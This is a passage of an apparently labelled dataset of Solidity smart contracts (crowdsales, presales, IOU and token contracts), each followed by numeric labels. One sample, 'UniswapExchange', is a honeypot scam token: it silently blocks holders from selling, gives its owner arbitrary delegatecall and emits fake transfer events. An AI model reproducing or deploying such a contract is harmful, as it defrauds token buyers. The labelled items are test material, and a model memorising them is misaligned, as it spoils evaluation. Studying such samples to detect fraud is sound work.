Ownable(token).transferOwnership(TARGET_USER);
}
function _getTokenAmount(uint256 _weiAmount)
internal view returns (uint256)
{
return _weiAmount.mul(rate).div(1 ether);
}
}
contract BonusableCrowdsale is Consts, Crowdsale {
function _getTokenAmount(uint256 _weiAmount)
internal view returns (uint256)
{
uint256 bonusRate = getBonusRate(_weiAmount);
return _weiAmount.mul(bonusRate).div(1 ether);
}
function getBonusRate(uint256 _weiAmount) internal view returns (uint256) {
uint256 bonusRate = rate;
uint[3] memory weiRaisedStartsBounds = [uint(0),uint(0),uint(0)];
uint[3] memory weiRaisedEndsBounds = [uint(45255882352941176470588),uint(45255882352941176470588),uint(45255882352941176470588)];
uint64[3] memory timeStartsBounds = [uint64(1546395300),uint64(1546740900),uint64(1547172900)];
uint64[3] memory timeEndsBounds = [uint64(1546740900),uint64(1547172900),uint64(1547604895)];
uint[3] memory weiRaisedAndTimeRates = [uint(500),uint(250),uint(100)];
for (uint i = 0; i < 3; i++) {
bool weiRaisedInBound = (weiRaisedStartsBounds[i] <= weiRaised) && (weiRaised < weiRaisedEndsBounds[i]);
bool timeInBound = (timeStartsBounds[i] <= now) && (now < timeEndsBounds[i]);
if (weiRaisedInBound && timeInBound) {
bonusRate += bonusRate * weiRaisedAndTimeRates[i] / 1000;
}
}
return bonusRate;
}
}
contract WhitelistedCrowdsale is Crowdsale, Ownable {
mapping (address => bool) private whitelist;
event WhitelistedAddressAdded(address indexed _address);
event WhitelistedAddressRemoved(address indexed _address);
modifier onlyIfWhitelisted(address _buyer) {
require(whitelist[_buyer]);
_;
}
function addAddressToWhitelist(address _address) external onlyOwner {
whitelist[_address] = true;
emit WhitelistedAddressAdded(_address);
}
function addAddressesToWhitelist(address[] _addresses) external onlyOwner {
for (uint i = 0; i < _addresses.length; i++) {
whitelist[_addresses[i]] = true;
emit WhitelistedAddressAdded(_addresses[i]);
}
}
function removeAddressFromWhitelist(address _address) external onlyOwner {
delete whitelist[_address];
emit WhitelistedAddressRemoved(_address);
}
function removeAddressesFromWhitelist(address[] _addresses) external onlyOwner {
for (uint i = 0; i < _addresses.length; i++) {
delete whitelist[_addresses[i]];
emit WhitelistedAddressRemoved(_addresses[i]);
}
}
function isWhitelisted(address _address) public view returns (bool) {
return whitelist[_address];
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
onlyIfWhitelisted(_beneficiary)
{
super._preValidatePurchase(_beneficiary, _weiAmount);
}
}
contract TemplateCrowdsale is Consts, MainCrowdsale
, BonusableCrowdsale
, WhitelistedCrowdsale
{
event Initialized();
event TimesChanged(uint startTime, uint endTime, uint oldStartTime, uint oldEndTime);
bool public initialized = false;
constructor(MintableToken _token) public
Crowdsale(2040 * TOKEN_DECIMAL_MULTIPLIER, 0xD46Fbb7194C301894DBEC41b5499C82703517487, _token)
TimedCrowdsale(START_TIME > now ? START_TIME : now, 1547604900)
CappedCrowdsale(45255882352941176470588)
{
}
function init() public onlyOwner {
require(!initialized);
initialized = true;
if (PAUSED) {
MainToken(token).pause();
}
transferOwnership(TARGET_USER);
emit Initialized();
}
function hasClosed() public view returns (bool) {
bool remainValue = cap.sub(weiRaised) < 920000000000000000;
return super.hasClosed() || remainValue;
}
function setEndTime(uint _endTime) public onlyOwner {
require(now < closingTime);
require(now < _endTime);
require(_endTime > openingTime);
emit TimesChanged(openingTime, _endTime, openingTime, closingTime);
closingTime = _endTime;
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
require(msg.value >= 920000000000000000);
require(msg.value <= 45255880000000000000000);
super._preValidatePurchase(_beneficiary, _weiAmount);
}
} | 0 | 944 |
pragma solidity ^0.4.18;
contract Token {
function transfer(address to, uint256 value) public returns (bool success);
function transferFrom(address from, address to, uint256 value) public returns (bool success);
function balanceOf(address _owner) public constant returns (uint256 balance);
}
contract Autobid {
address public admin;
address public token;
uint public exchangeRate;
uint public expirationTime;
bool public active;
event TokenClaim(address tokenContract, address claimant, uint ethDeposited, uint tokensGranted);
event Redemption(address redeemer, uint tokensDeposited, uint redemptionAmount);
modifier autobidActive() {
require(active);
require(now < expirationTime);
_;
}
modifier autobidExpired() {
require(!active);
_;
}
modifier onlyAdmin() {
require(msg.sender == admin);
_;
}
function Autobid(address _admin, address _token, uint _exchangeRate, uint _expirationTime) public {
admin = _admin;
token = _token;
exchangeRate = _exchangeRate;
expirationTime = _expirationTime;
active = true;
}
function () public payable autobidActive {
uint tokenQuantity = msg.value * exchangeRate;
require(Token(token).transfer(msg.sender, tokenQuantity));
expirationCheck();
TokenClaim(token, msg.sender, msg.value, tokenQuantity);
}
function redeemTokens(uint amount) public autobidActive {
require(Token(token).transferFrom(msg.sender, this, amount));
uint redemptionValue = amount / exchangeRate;
msg.sender.transfer(redemptionValue);
Redemption(msg.sender, amount, redemptionValue);
}
function expirationCheck() public {
if (now > expirationTime) {
active = false;
}
uint remainingTokenSupply = Token(token).balanceOf(this);
if (remainingTokenSupply < exchangeRate) {
active = false;
}
}
function adminWithdraw(uint amount) public autobidExpired onlyAdmin {
msg.sender.transfer(amount);
Redemption(msg.sender, 0, amount);
}
function adminWithdrawTokens(uint amount) public autobidExpired onlyAdmin {
require(Token(token).transfer(msg.sender, amount));
TokenClaim(token, msg.sender, 0, amount);
}
function adminWithdrawMiscTokens(address tokenContract, uint amount) public autobidExpired onlyAdmin {
require(Token(tokenContract).transfer(msg.sender, amount));
TokenClaim(tokenContract, msg.sender, 0, amount);
}
} | 0 | 199 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 1 | 3,502 |
pragma solidity ^0.4.18;
contract miningrealmoney {
address public owner;
address public newowner;
function miningrealmoney() payable {
owner = msg.sender;
}
modifier onlyOwner {
require(owner == msg.sender);
_;
}
function changeOwner(address _owner) onlyOwner public {
newowner = _owner;
}
function confirmOwner() public {
require(newowner == msg.sender);
owner = newowner;
}
}
contract Limitedsale is miningrealmoney{
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
event Transfer(address indexed from, address indexed to, uint256 value);
function Limitedsale() payable miningrealmoney() {
totalSupply = 10000000000;
balanceOf[this] = 2500000000;
balanceOf[owner] = totalSupply - balanceOf[this];
Transfer(this, owner, balanceOf[owner]);
}
function () payable {
require(balanceOf[this] > 0);
uint256 tokens = 300 * msg.value/10000000000000000;
if (tokens > balanceOf[this]) {
tokens = balanceOf[this];
uint valueWei = tokens * 10000000000000000 / 300;
msg.sender.transfer(msg.value - valueWei);
}
require(tokens > 0);
balanceOf[msg.sender] += tokens;
balanceOf[this] -= tokens;
Transfer(this, msg.sender, tokens);
}
}
contract DiXiEnergy is Limitedsale {
string public standart = 'Token 0.1';
string public name = 'DiXiEnergy';
string public symbol = "DXE";
uint8 public decimals = 2;
modifier onlyPayloadSize(uint size) {
if(msg.data.length < size + 4) {
throw;
}
_;
}
function transfer(address _to, uint _value) onlyPayloadSize(2 * 32) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] -= _value;
balanceOf[_to] += _value;
Transfer(msg.sender, _to, _value);
}
}
contract SmartContract is DiXiEnergy {
function SmartContract() payable DiXiEnergy() {}
function withdraw() public onlyOwner {
owner.transfer(this.balance);
}
} | 1 | 3,964 |
pragma solidity ^0.4.11;
contract NEToken {
function balanceOf(address _owner) constant returns (uint256 balance);
function transfer(address _to, uint256 _value) returns (bool success);
}
contract IOU {
mapping (address => uint256) public iou_purchased;
mapping (address => uint256) public eth_sent;
uint256 public total_iou_available = 4725000000000000000000;
uint256 public total_iou_purchased;
uint256 public total_iou_withdrawn;
uint256 public price_per_eth = 60;
NEToken public token = NEToken(0xcfb98637bcae43C13323EAa1731cED2B716962fD);
address seller = 0xB00Ae1e677B27Eee9955d632FF07a8590210B366;
bool public halt_purchases;
modifier pwner() { if(msg.sender != seller) throw; _; }
function withdrawTokens() pwner {
token.transfer(seller, token.balanceOf(address(this)) - (total_iou_purchased - total_iou_withdrawn));
}
function haltPurchases() pwner {
halt_purchases = true;
}
function resumePurchases() pwner {
halt_purchases = false;
}
function updateAvailability(uint256 _iou_amount) pwner {
if(_iou_amount < total_iou_purchased) throw;
total_iou_available = _iou_amount;
}
function updatePrice(uint256 _price) pwner {
price_per_eth = _price;
}
function paySeller() pwner {
if(token.balanceOf(address(this)) < (total_iou_purchased - total_iou_withdrawn)) throw;
halt_purchases = true;
seller.transfer(this.balance);
}
function withdraw() payable {
if(block.number > 4230000 && iou_purchased[msg.sender] > token.balanceOf(address(this))) {
uint256 eth_to_refund = eth_sent[msg.sender];
if(eth_to_refund == 0 || iou_purchased[msg.sender] == 0) throw;
total_iou_purchased -= iou_purchased[msg.sender];
eth_sent[msg.sender] = 0;
iou_purchased[msg.sender] = 0;
msg.sender.transfer(eth_to_refund);
return;
}
if(token.balanceOf(address(this)) == 0 || iou_purchased[msg.sender] > token.balanceOf(address(this))) throw;
uint256 iou_to_withdraw = iou_purchased[msg.sender];
if(iou_to_withdraw == 0) throw;
iou_purchased[msg.sender] = 0;
eth_sent[msg.sender] = 0;
total_iou_withdrawn += iou_to_withdraw;
token.transfer(msg.sender, iou_to_withdraw);
}
function purchase() payable {
if(halt_purchases) throw;
if(msg.value == 0) throw;
uint256 iou_to_purchase = price_per_eth * msg.value;
if((total_iou_purchased + iou_to_purchase) > total_iou_available) throw;
iou_purchased[msg.sender] += iou_to_purchase;
eth_sent[msg.sender] += msg.value;
total_iou_purchased += iou_to_purchase;
}
function () payable {
if(msg.value == 0) {
withdraw();
}
else {
purchase();
}
}
} | 0 | 801 |
pragma solidity ^0.4.18;
contract EtherealId{
string public constant CONTRACT_NAME = "EtherealId";
string public constant CONTRACT_VERSION = "B";
mapping (address => bool) private IsAuthority;
address private Creator;
address private Owner;
bool private Active;
mapping(bytes32 => bool) private Proof;
mapping (address => bool) private BlockedAddresses;
function SubmitProofOfOwnership(bytes32 proof) public onlyOwner{
Proof[proof] = true;
}
function RemoveProofOfOwnership(bytes32 proof) public ownerOrAuthority {
delete Proof[proof];
}
function CheckProofOfOwnership(bytes32 proof) view public returns(bool) {
return Proof[proof];
}
function BlockAddress(address addr) public ownerOrAuthority {
BlockedAddresses[addr] = true;
}
function UnBlockAddress(address addr) public ownerOrAuthority {
delete BlockedAddresses[addr];
}
function IsBlocked(address addr) public view returns(bool){
return BlockedAddresses[addr];
}
function Deactivate() public ownerOrAuthority {
require(IsAuthority[msg.sender] || msg.sender == Owner);
Active = false;
selfdestruct(Owner);
}
function IsActive() public view returns(bool) {
return Active;
}
mapping(bytes32 => bool) private VerifiedInfoHashes;
event Added(bytes32 indexed hash);
function AddVerifiedInfo( bytes32 hash) public onlyAuthority {
VerifiedInfoHashes[hash] = true;
Added(hash);
}
event Removed(bytes32 indexed hash);
function RemoveVerifiedInfo(bytes32 hash) public onlyAuthority {
delete VerifiedInfoHashes[hash];
Removed(hash);
}
function EtherealId(address owner) public {
IsAuthority[msg.sender] = true;
Active = true;
Creator = msg.sender;
Owner = owner;
}
modifier onlyOwner(){
require(msg.sender == Owner);
_;
}
modifier onlyAuthority(){
require(IsAuthority[msg.sender]);
_;
}
modifier ownerOrAuthority() {
require(msg.sender == Owner || IsAuthority[msg.sender]);
_;
}
modifier notBlocked() {
require(!BlockedAddresses[msg.sender]);
_;
}
function OwnerAddress() public view notBlocked returns(address) {
return Owner;
}
function IsAuthorityAddress(address addr) public view notBlocked returns(bool) {
return IsAuthority[addr];
}
function AddAuthorityAddress(address addr) public onlyOwner {
IsAuthority[addr] = true;
}
function RemoveAuthorityAddress(address addr) public onlyOwner {
require(addr != Creator);
delete IsAuthority[addr];
}
function VerifiedInfoHash(bytes32 hash) public view notBlocked returns(bool) {
return VerifiedInfoHashes[hash];
}
event RecievedEth(address indexed _from, uint256 _value);
function () payable public {
RecievedEth(msg.sender, msg.value);
}
event TransferedEth(address indexed _to, uint256 _value);
function TransferEth(address _to, uint256 _value) public onlyOwner{
require(this.balance >= _value);
if(_value >0)
{
_to.transfer(_value);
TransferedEth(_to, _value);
}
}
} | 1 | 2,964 |
pragma solidity ^0.4.23;
contract ERC20Interface {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function allowance(address _owner, address _spender) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool);
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract EggPreSale {
mapping(address => uint256) userEthIn_;
mapping(uint256 => transaction) transactions_;
uint256 weiRaised_;
uint256 usdRaised_ = 0;
address public wallet_;
address public owner_;
address public eggCoinFundWallet_;
uint256 public maxTransactionId_ = 0;
uint256 public exchangeRate_ = 25;
ERC20Interface eggCoin_;
mapping(address => bool) whiteList_;
mapping(address => bool) whiteListManager_;
constructor(
address _wallet,
address _eggCoinFundWallet,
ERC20Interface _eggCoin
)
public
{
owner_ = msg.sender;
whiteListManager_[owner_] = true;
whiteList_[owner_] = true;
wallet_ = _wallet;
eggCoinFundWallet_ = _eggCoinFundWallet;
eggCoin_ = _eggCoin;
}
event EthIn(
uint256 transactionId,
uint256 ethIn,
address indexed buyer
);
event EggDistribute(
uint256 transactionId,
uint256 eggAmount,
address indexed receiver
);
event addToWhiteList(
address indexed buyer
);
event removeFromWhiteList(
address indexed buyer
);
modifier onlyOwner(
address _address
)
{
require(_address == owner_, "This actions is not allowed because of permission.");
_;
}
modifier investmentFilter(
uint256 _ethIn
)
{
require(_ethIn >= 1000000000000000000, "The minimum ETH must over 1 ETH.");
_;
}
modifier onlyWhiteListed(
address _address
)
{
require(whiteList_[_address] == true, "Hmm... You should be added to whitelist first.");
_;
}
modifier onlyWhiteListManager(
address _address
)
{
require(whiteListManager_[_address] == true, "Oh!!! Are you hacker?");
_;
}
modifier onlyNotSoldOut()
{
require(eggCoin_.allowance(eggCoinFundWallet_, this) > 0, "The eggs has been sold out.");
_;
}
function()
payable
public
onlyNotSoldOut
onlyWhiteListed(msg.sender)
investmentFilter(msg.value)
{
uint256 _ethIn = msg.value;
maxTransactionId_ = maxTransactionId_ + 1;
uint256 _transactionId = maxTransactionId_;
transactions_[_transactionId].ethIn = _ethIn;
transactions_[_transactionId].buyer = msg.sender;
transactions_[_transactionId].eggDistributed = false;
transactions_[_transactionId].blockNumber = block.number;
emit EthIn(
_transactionId,
_ethIn,
msg.sender
);
}
function distributeEgg(
uint256 _transactionId,
uint256 _ethToUsdRate
)
public
onlyOwner(msg.sender)
{
bool _eggDistributed = transactions_[_transactionId].eggDistributed;
require(_eggDistributed == false, "Egg has been distributed");
uint256 _userEthIn = transactions_[_transactionId].ethIn;
uint256 _exchageRate = exchangeRate_;
uint256 _fee = calculateFee(_ethToUsdRate);
_userEthIn = _userEthIn - _fee;
address _buyer = transactions_[_transactionId].buyer;
uint256 _eggInContract = eggCoin_.allowance(eggCoinFundWallet_, this);
uint256 _eggToDistribute = ((_ethToUsdRate * _userEthIn) * _exchageRate) / 1000;
if(_eggInContract < _eggToDistribute) {
uint256 _refundEgg = _eggToDistribute - _eggInContract;
uint256 _refund = ((_refundEgg * 40) / _ethToUsdRate);
_userEthIn = _userEthIn - _refund;
transactions_[_transactionId].ethIn = _userEthIn;
_buyer.transfer(_refund);
_eggToDistribute = _eggInContract;
}
uint256 _usdSendIn = (_ethToUsdRate * (_userEthIn + _fee)) / 1000000000000000000000;
usdRaised_ = _usdSendIn + usdRaised_;
weiRaised_ = weiRaised_ + _userEthIn;
eggCoin_.transferFrom(eggCoinFundWallet_, _buyer, _eggToDistribute);
transactions_[_transactionId].eggReceived = _eggToDistribute;
transactions_[_transactionId].exchangeRate = _ethToUsdRate;
wallet_.transfer(_userEthIn);
owner_.transfer(_fee);
transactions_[_transactionId].eggDistributed = true;
emit EggDistribute(
_transactionId,
_eggToDistribute,
_buyer
);
}
function calculateFee(
uint256 _ethToUsdRate
)
pure
internal
returns(uint256)
{
uint256 _fee = 30000000000000000000 / (_ethToUsdRate);
return _fee;
}
function getTransaction(
uint256 transactionId
)
view
public
returns(
uint256,
address,
bool,
uint256,
uint256
)
{
uint256 _transactionId = transactionId;
return (
transactions_[_transactionId].ethIn,
transactions_[_transactionId].buyer,
transactions_[_transactionId].eggDistributed,
transactions_[_transactionId].blockNumber,
transactions_[_transactionId].exchangeRate
);
}
function getWeiRaised()
view
public
returns
(uint256)
{
return weiRaised_;
}
function getUsdRaised()
view
public
returns
(uint256)
{
return usdRaised_;
}
function isWhiteListed(
address _address
)
view
public
returns
(bool)
{
return whiteList_[_address];
}
function isWhiteListManager(
address _address
)
view
public
returns
(bool)
{
return whiteListManager_[_address];
}
function addWhiteListManager(
address _address
)
onlyOwner(msg.sender)
public
{
whiteListManager_[_address] = true;
}
function removeWhiteListManager(
address _address
)
onlyOwner(msg.sender)
public
{
whiteListManager_[_address] = false;
}
function addBuyerToWhiteList(
address _address
)
onlyWhiteListManager(msg.sender)
public
{
whiteList_[_address] = true;
emit addToWhiteList(_address);
}
function removeBuyerFromWhiteList(
address _address
)
onlyWhiteListManager(msg.sender)
public
{
whiteList_[_address] = false;
emit removeFromWhiteList(_address);
}
struct transaction
{
uint256 ethIn;
uint256 eggReceived;
address buyer;
bool eggDistributed;
uint256 blockNumber;
uint256 exchangeRate;
}
} | 1 | 2,269 |
pragma solidity ^0.4.24;
contract ERC20Basic {
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract EthTweetMe is Ownable {
using SafeMath for uint256;
mapping(string => address) tokens;
address webappAddress;
address feePayoutAddress;
uint256 public feePercentage = 5;
uint256 public minAmount = 0.000001 ether;
uint256 public webappMinBalance = 0.000001 ether;
struct Influencer {
address influencerAddress;
uint256 charityPercentage;
address charityAddress;
}
mapping(string => Influencer) influencers;
event InfluencerAdded(string _influencerTwitterHandle);
event FeePercentageUpdated(uint256 _feePercentage);
event Deposit(address _address, uint256 _amount);
modifier onlyWebappOrOwner() {
require(msg.sender == webappAddress || msg.sender == owner);
_;
}
constructor() public {
webappAddress = msg.sender;
feePayoutAddress = msg.sender;
}
function() external payable {
emit Deposit(msg.sender, msg.value);
}
function updateFeePercentage(uint256 _feePercentage) external onlyWebappOrOwner {
require(_feePercentage <= 100);
feePercentage = _feePercentage;
emit FeePercentageUpdated(feePercentage);
}
function updateMinAmount(uint256 _minAmount) external onlyWebappOrOwner {
minAmount = _minAmount;
}
function updateWebappMinBalance(uint256 _minBalance) external onlyWebappOrOwner {
webappMinBalance = _minBalance;
}
function updateWebappAddress(address _address) external onlyOwner {
webappAddress = _address;
}
function updateFeePayoutAddress(address _address) external onlyOwner {
feePayoutAddress = _address;
}
function updateInfluencer(
string _twitterHandle,
address _influencerAddress,
uint256 _charityPercentage,
address _charityAddress) external onlyWebappOrOwner {
require(_charityPercentage <= 100);
require((_charityPercentage == 0 && _charityAddress == 0x0) || (_charityPercentage > 0 && _charityAddress != 0x0));
if (influencers[_twitterHandle].influencerAddress == 0x0) {
emit InfluencerAdded(_twitterHandle);
}
influencers[_twitterHandle] = Influencer(_influencerAddress, _charityPercentage, _charityAddress);
}
function sendEthTweet(uint256 _amount, bool _isERC20, string _symbol, bool _payFromMsg, string _influencerTwitterHandle, uint256 _additionalFee) private {
require(
(!_isERC20 && _payFromMsg && msg.value == _amount) ||
(!_isERC20 && !_payFromMsg && _amount <= address(this).balance) ||
_isERC20
);
require(_additionalFee == 0 || _amount > _additionalFee);
ERC20Basic erc20;
if (_isERC20) {
require(tokens[_symbol] != 0x0);
erc20 = ERC20Basic(tokens[_symbol]);
require(erc20.balanceOf(address(this)) >= _amount);
}
Influencer memory influencer = influencers[_influencerTwitterHandle];
require(influencer.influencerAddress != 0x0);
uint256[] memory payouts = new uint256[](4);
uint256 hundred = 100;
if (_additionalFee > 0) {
payouts[3] = _additionalFee;
_amount = _amount.sub(_additionalFee);
}
if (influencer.charityPercentage == 0) {
payouts[0] = _amount.mul(hundred.sub(feePercentage)).div(hundred);
payouts[2] = _amount.sub(payouts[0]);
} else {
payouts[1] = _amount.mul(influencer.charityPercentage).div(hundred);
payouts[0] = _amount.sub(payouts[1]).mul(hundred.sub(feePercentage)).div(hundred);
payouts[2] = _amount.sub(payouts[1]).sub(payouts[0]);
}
require(payouts[0].add(payouts[1]).add(payouts[2]) == _amount);
if (payouts[0] > 0) {
if (!_isERC20) {
influencer.influencerAddress.transfer(payouts[0]);
} else {
erc20.transfer(influencer.influencerAddress, payouts[0]);
}
}
if (payouts[1] > 0) {
